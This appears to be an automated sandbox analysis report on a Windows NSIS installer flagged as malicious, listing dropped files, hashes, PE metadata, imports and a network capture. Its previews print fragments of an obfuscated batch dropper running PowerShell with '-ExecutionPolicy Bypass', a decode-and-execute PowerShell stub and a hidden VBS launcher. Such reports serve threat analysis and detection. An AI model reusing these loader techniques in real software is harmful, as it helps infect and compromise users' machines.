SHA-512:	8B5A456B4A4C97E28B6E90735EB9A006E8AFBCD3D588E04B7BD3AB24E20EF80E37CC08412CC421C0F465C148F5B1C181EA798585865BD82F9861C1A7351194A1
Malicious:	false
Preview:	@echo off....setlocal enabledelayedexpansion..set "wUQQwNKkNOyNzQfKzTloSTFwXamIMQYIrXOSyHRMqcuoRmeVKU=%userprofile%\UndLdl.ps1"..set SJOiICouSwAbxXQPvCbnmSczYPzqELVqXRXpUiolDeOvloEwyb=%SystemRoot%\SysWow64\WindowsPowerShell\v1.0\powershell.exe..set "pWckUlbpLFRfJnwheIjmfIoKqgTLgMkDIogBHzMBSdYeBvNeHU=%~dp0%~nx0".... copy "%pWckUlbpLFRfJnwheIjmfIoKqgTLgMkDIogBHzMBSdYeBvNeHU%" "%userprofile%\UndLdl.bat" >nul.... if exist "%wUQQwNKkNOyNzQfKzTloSTFwXamIMQYIrXOSyHRMqcuoRmeVKU%" (.. "%SJOiICouSwAbxXQPvCbnmSczYPzqELVqXRXpUiolDeOvloEwyb%" -ExecutionPolicy Bypass -File "%wUQQwNKkNOyNzQfKzTloSTFwXamIMQYIrXOSyHRMqcuoRmeVKU%".. exit..)....set LiAVphAYaRZWhLoebIMXEYyqiBJNykMoxozamhcqZELPEsCawB=..set CZdJfRhxWxRfakxiKfUxluyeIoSkpkiNdsyADMHDoKLKFyCDNb_0=ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSk..set LiAVphAYaRZWhLoebIMXEYyqiBJNykMoxozamhcqZELPEsCawB=!LiAVphAYaRZWhLoebIMXEYyqiBJNykMoxozamhcqZELPEsCawB!!CZdJfRhxWxRfakxiKfUxluyeIoSkpkiNdsyADMHDoKLKFyCDNb_0!..set CZdJfRhxWxRfakxiKfUxluy

C:\Users\user\UndLdl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (488), with CRLF line terminators
Category:	dropped
Size (bytes):	2004
Entropy (8bit):	5.314348658746653
Encrypted:	false
SSDEEP:	48:IJH3AmLXIbs7krawQkIKKx7eKEWhZSNtRD3Hw3f36JT:I5NXt9gQZSNLD3+fe
MD5:	6707DF486205804693821EEBAD4C03F3
SHA1:	FB4E723B632090036463D44E58ECEDEF4B688958
SHA-256:	CD78D5DA40004DBAA8688D97063D1C9B3CEE41BA72E8F9152EE38D86CF6EFB50
SHA-512:	4B497EE77FAEDDAE306B69A45641AB8F11EBBD9712664A614BE009D6AB9632CB05F2025AE9631CB51801A4F6C2E3D48B38082B9B5FCA41241EC5A0088C9E88EF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDedcodeAndExecute, Description: Yara detected Powershell dedcode and execute, Source: C:\Users\user\UndLdl.ps1, Author: Joe Security
Preview:	.function DecompressBytes($compressedData) { $ms = [IO.MemoryStream]::new(([System.Convert]::FromBase64String($compressedData))); $ms.Position = 0; $deflateStream = [IO.Compression.DeflateStream]::new($ms, [IO.Compression.CompressionMode]::Decompress); $buffer = [byte[]]::new(4096); $ms = [IO.MemoryStream]::new(); while ($true) { $count = $deflateStream.Read($buffer, 0, $buffer.Length); if ($count -eq 0) { break } $ms.Write($buffer, 0, $count) } $deflateStream.Close(); $ms.ToArray() }....function ReverseString($inputString) {.. $charArray = $inputString.ToCharArray() # Convert string to character array.. $reversedArray = $charArray[-1..-($charArray.Length)] # Reverse the array.. $reversedString = -join $reversedArray # Convert the reversed array back to a string.. return $reversedString..}....function Close-Process {.. param(.. [string]$ProcessName.. ).... $process = Get-Process -Name $ProcessName -ErrorAction SilentlyContinue.... if ($process -ne $n

C:\Users\user\start.vbs

Download File

Process:	C:\Users\user\Desktop\xwREqjHUEv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	231
Entropy (8bit):	4.9234148944564025
Encrypted:	false
SSDEEP:	6:j+q9Nqh2hJNnnCf8HjOwF1p1sCjZsOkKqGUrv:KqahyJhhjOwLpjZrkKqr7
MD5:	ABE1DD23AB4C11AAE54F1898C780C0B5
SHA1:	BB2F974B3E0AF2BAA40920B475582BFD4FB28001
SHA-256:	89054E19532A9A62CA3403A8899495BF6F06557FF886B475A04227EB8ABA7B12
SHA-512:	E9EC437A32301078EA69CE2F36DADAB68315D5E56D94C4D579D3409CCBE0C9E00C3AED7BAA0FA6D656FB8ED23213F4C01FB2D108C1A0ED11C58C76CD00F9A99D
Malicious:	true
Preview:	Set objShell = CreateObject("WScript.Shell")....userProfileDir = objShell.ExpandEnvironmentStrings("%userprofile%")....batchFilePath = userProfileDir & "\temp.bat"....objShell.Run batchFilePath, 0, False....Set objShell = Nothing..

C:\Users\user\temp.bat

Download File

Process:	C:\Users\user\Desktop\xwREqjHUEv.exe
File Type:	DOS batch file, ASCII text, with very long lines (48166), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	558268
Entropy (8bit):	6.010918914001554
Encrypted:	false
SSDEEP:	12288:pXL/2B/pCj7B4yHitIswk1Z4+zES361vtspCHXVX+NaD4ZELB9R3:pXL/2TC/BdHPswStESqBHFONe5X3
MD5:	1AB2D7CC96AD2B86EDF74D5497B45DEF
SHA1:	BAAC72428AAFF76788B6E0056B720C6920D0E6F8
SHA-256:	1E23A11308681733CFF73F23933670C4350CEC867042BBE5F7FF54A6DCC1DD83
SHA-512:	8B5A456B4A4C97E28B6E90735EB9A006E8AFBCD3D588E04B7BD3AB24E20EF80E37CC08412CC421C0F465C148F5B1C181EA798585865BD82F9861C1A7351194A1
Malicious:	true
Preview:	@echo off....setlocal enabledelayedexpansion..set "wUQQwNKkNOyNzQfKzTloSTFwXamIMQYIrXOSyHRMqcuoRmeVKU=%userprofile%\UndLdl.ps1"..set SJOiICouSwAbxXQPvCbnmSczYPzqELVqXRXpUiolDeOvloEwyb=%SystemRoot%\SysWow64\WindowsPowerShell\v1.0\powershell.exe..set "pWckUlbpLFRfJnwheIjmfIoKqgTLgMkDIogBHzMBSdYeBvNeHU=%~dp0%~nx0".... copy "%pWckUlbpLFRfJnwheIjmfIoKqgTLgMkDIogBHzMBSdYeBvNeHU%" "%userprofile%\UndLdl.bat" >nul.... if exist "%wUQQwNKkNOyNzQfKzTloSTFwXamIMQYIrXOSyHRMqcuoRmeVKU%" (.. "%SJOiICouSwAbxXQPvCbnmSczYPzqELVqXRXpUiolDeOvloEwyb%" -ExecutionPolicy Bypass -File "%wUQQwNKkNOyNzQfKzTloSTFwXamIMQYIrXOSyHRMqcuoRmeVKU%".. exit..)....set LiAVphAYaRZWhLoebIMXEYyqiBJNykMoxozamhcqZELPEsCawB=..set CZdJfRhxWxRfakxiKfUxluyeIoSkpkiNdsyADMHDoKLKFyCDNb_0=ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSk..set LiAVphAYaRZWhLoebIMXEYyqiBJNykMoxozamhcqZELPEsCawB=!LiAVphAYaRZWhLoebIMXEYyqiBJNykMoxozamhcqZELPEsCawB!!CZdJfRhxWxRfakxiKfUxluyeIoSkpkiNdsyADMHDoKLKFyCDNb_0!..set CZdJfRhxWxRfakxiKfUxluy

C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP2810.tmp (copy)

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31232
Entropy (8bit):	7.852316070293753
Encrypted:	false
SSDEEP:	768:QVKaUWVgbStx+y4+LK2rTMk6vAZ2HtIWVpw5/:QEaP6QxNxTMSYted
MD5:	B45B01A98A16E750EFE0C5BCE4613896
SHA1:	CEC51D154000397F0E54C5E79DDF47E10C32E205
SHA-256:	09846F324BEE9384EE50934E61B417FDE37B86D4CA60530E77C4D63920D3E94C
SHA-512:	FC5F3486CD099AFAFD86450A55405E3A2F4A28EE0E5653C0F3684AA097F6524A09A11BBE94AA7027E0022C4D4A4A1F0389BCD23D1C4381406518D5B6888FD5A1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L......d...............H.x...........3............@..................................9...............................................................................................................................................................text....v.......x.................. ...................................................................................................4h.I....3..'P...FE..cZ.%.v.}..)^..'`$....`....W...P!F.A.d.Qa.,...{3...x(1.m.[.....e..z6..(@ZW.c...6;`.@..yy..QZ.{.,...?..%xMH.HY..(..).}....L9....L.(....q.-0....MP....e....2.0.!.S..G$/8.;..QA.9_.s9.........hv....;.....{}.j...v.........G.;..R..b.f.-.Rad`....;1.'...y{......V:..UI.....+x..n......r1i..2..^.6'aQ.......38..(\.:..s.=PX... .^...#..txV.....j..jp...N.{Z....$ &....R..L......h.Zt..pC9..OUJ\..\..Y9.v=....@......e.D......a..&....B.......!..K.4.Jq....9...

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.37639561516815
Encrypted:	false
SSDEEP:	3:N/XANAKxcvn:B7KE
MD5:	D9C586991FACF81AE3350D1F2468D551
SHA1:	4021D00AB6D09D9DEF8964CF7D5B137E2057803D
SHA-256:	A04C3131D5D2D6A794281B2525967934811D733BE6DFCE8658AC90F520F8A14F
SHA-512:	8D37243809F6AF2D51F844497FBEB4268366D3121A8C76EFE74917C77B5044732ACDEB4638CE47B649AB3A00A8584855015D4DE374B184DB83C0809FA721D421
Malicious:	false
Preview:	1 file(s) copied...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.900141634309283
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xwREqjHUEv.exe
File size:	534'113 bytes
MD5:	068c05b9f062da142d266a374866d3bb
SHA1:	315726e1015e1e69cf9645bda713f463e93a8755
SHA256:	cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a
SHA512:	25358882e596ed9299ef714e2168a70e7bceace7fafc9f61e10e2fb58b480b97f31af86ef08e553cfe69546aa8b056b09df696d5fa9e07e2784392e8bbd87156
SSDEEP:	12288:xfL5njsVlNucSkkMxi+FAbPr+rr6K+u03mlw0lsp5ie:xfL5njMnOMxw26KY3t0lOAe
TLSH:	2FB41252EA54095AEC14C13708BA7F46076EFDAD9A71978A57A1FF243C332831F87227
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L...l..d.................j.........

File Icon


Icon Hash:	15c8c848c8c8c855

Static PE Info

General

Entrypoint:	0x403532
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64A0DC6C [Sun Jul 2 02:09:48 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007FBA7C80A42Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007FBA7C80A3F8h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [004347B8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x45000	0x15200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x68d8	0x6a00	742185983fa6320c910f81782213e56f	False	0.6695165094339622	data	6.478461709868021	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1464	0x1600	a995b118b38426885fc6ccaa984c8b7a	False	0.4314630681818182	data	4.969091535632612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2a818	0x600	9a9bf385a30f1656fc362172b16d9268	False	0.5247395833333334	data	4.172601271908501	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x10000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x45000	0x15200	0x15200	3d5c335197d886655f8f1430bfeeef18	False	0.6110623150887574	data	7.132776027569186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x45418	0x7d67	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9965735289536803
RT_ICON	0x4d180	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.2820028341993387
RT_ICON	0x513a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3312240663900415
RT_ICON	0x53950	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	English	United States	0.3812130177514793
RT_ICON	0x553b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4446529080675422
RT_ICON	0x56460	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.5754264392324094
RT_ICON	0x57308	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5110655737704918
RT_ICON	0x57c90	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.7138989169675091
RT_ICON	0x58538	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.5848837209302326
RT_ICON	0x58bf0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.7572254335260116
RT_ICON	0x59158	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6879432624113475
RT_ICON	0x595c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4932795698924731
RT_ICON	0x598a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5641891891891891
RT_DIALOG	0x599d0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x59ad0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x59bf0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x59c50	0xbc	data	English	United States	0.6542553191489362
RT_VERSION	0x59d10	0x1b0	data	English	United States	0.5115740740740741
RT_MANIFEST	0x59ec0	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 10, 2024 10:23:08.296422005 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:08.455871105 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:08.455961943 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:08.456140995 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:08.615523100 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:08.621759892 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:08.621773958 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:08.621896982 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:08.654510975 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:08.813905954 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:08.819257975 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:08.827788115 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:08.987349987 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026762009 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026779890 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026793003 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026806116 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026818037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026829958 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026843071 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026855946 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026863098 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026875019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.026881933 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.026928902 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186353922 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186378956 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186398983 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186417103 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186434031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186446905 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186451912 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186472893 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186476946 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186491966 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186500072 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186508894 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186526060 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186538935 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186542034 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186561108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186568022 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186578989 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186598063 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186614037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186626911 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186631918 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186650991 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186655998 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186667919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186685085 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186685085 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186703920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.186713934 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.186760902 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346210957 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346263885 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346301079 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346332073 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346335888 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346374035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346388102 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346410036 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346447945 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346466064 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346483946 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346519947 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346534014 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346555948 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346591949 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346606016 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346630096 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346681118 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346685886 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346723080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346759081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346771955 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346796036 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346832037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346848965 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346868992 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346904993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346914053 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.346944094 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346983910 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.346999884 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347022057 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347059965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347069025 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347098112 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347135067 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347142935 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347173929 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347209930 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347234011 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347248077 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347284079 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347291946 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347325087 CEST	80	49705	216.250.255.115	192.168.2.5
